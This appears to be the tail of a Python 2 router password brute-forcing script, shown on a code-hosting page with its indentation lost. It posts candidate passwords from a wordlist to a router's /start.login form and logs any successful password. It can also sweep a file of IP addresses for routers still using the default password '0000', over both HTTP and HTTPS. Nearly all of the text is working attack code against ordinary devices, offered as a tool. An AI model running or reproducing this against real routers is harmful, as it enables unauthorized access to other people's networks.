print "\nFOUND PASSWORD. Password is: "+str(x[:-1])+" . Exit.\n"
# write logging
if LOGGING == "ON":
file.write("Password is: "+str(x[:-1])+"\n\n")
file.close()
exit()
print "\nPassword NOT found. Exit.\n"
# close file
if LOGGING == "ON":
# close logfile
file.write("Password NOT found.\n\n")
file.close()
exit()
# test an IP range from a textfile for the weak "0000" password
if OPT == "-r":
print "Trying weak password at router: "
# open file in read only mode
try:
ips=open(IN, "r")
except:
print "Cant open IP range file. Exit."
exit()
# try every password
for x in ips.readlines():
print str(x[:-1])
# test for HTTP / HTTPS
if int(PORT) == 80:
# try to connect to IP with 80 / HTTP
try:
con = httplib.HTTPConnection(str(x[:-1])+":"+str(PORT))
except:
print "Failed to connect. Exit."
continue
# make POST /start.login and try 0000 password
try:
PARAMS = urllib.urlencode({'P1': str(PW)})
con.request("POST", "/start.login", PARAMS, HEADER)
except:
print "Failed to send request."
continue
# get data
response = con.getresponse()
data = response.read()
# is there the sign we had success ( the word banner )
if "banner.htm" in data:
print "\nFOUND PASSWORD. Password is: "+str(PW)+" .\n"
# write logging
if LOGGING == "ON":
file.write(str(x[:-1])+" Password is: "+str(PW)+"\n")
continue
# HTTPS / SSL
if int(PORT) == 443:
# try to connect to IP with 443 / SSL
try:
con = httplib.HTTPSConnection(str(x[:-1])+":"+str(PORT))
except:
print "Failed to connect. Exit."
continue
# make POST /start.login and try password
try:
PARAMS = urllib.urlencode({'P1': str(PW)})
con.request("POST", "/start.login", PARAMS, HEADER)
except:
print "Failed to send request."
continue
# get data
response = con.getresponse()
data = response.read()
# is there the sign we had success ( the word banner )
if "banner.htm" in data:
print "\nFOUND PASSWORD. Password is: "+str(PW)+" .\n"
# write logging
if LOGGING == "ON":
file.write(str(x[:-1])+" Password is: "+str(PW)+"\n")
continue
print "\nEnd of scan. Exit.\n"
# close file
if LOGGING == "ON":
# close logfile
file.write("End of scan.\n\n")
file.close()
exit()
# print help if not enough arguments
if len(argv) < 5:
info()
# exit
exit()
else:
# make IP and so on
global IP, PORT, OPT, IN
IP = argv[1]
PORT = argv[2]
OPT = argv[3]
IN = argv[4]
bf()
# if -h given then print the help screen
if argv[1] == "-h":
info()
# exit
exit()
# EOF
[EOF]
Reference in New Issue View Git Blame Copy Permalink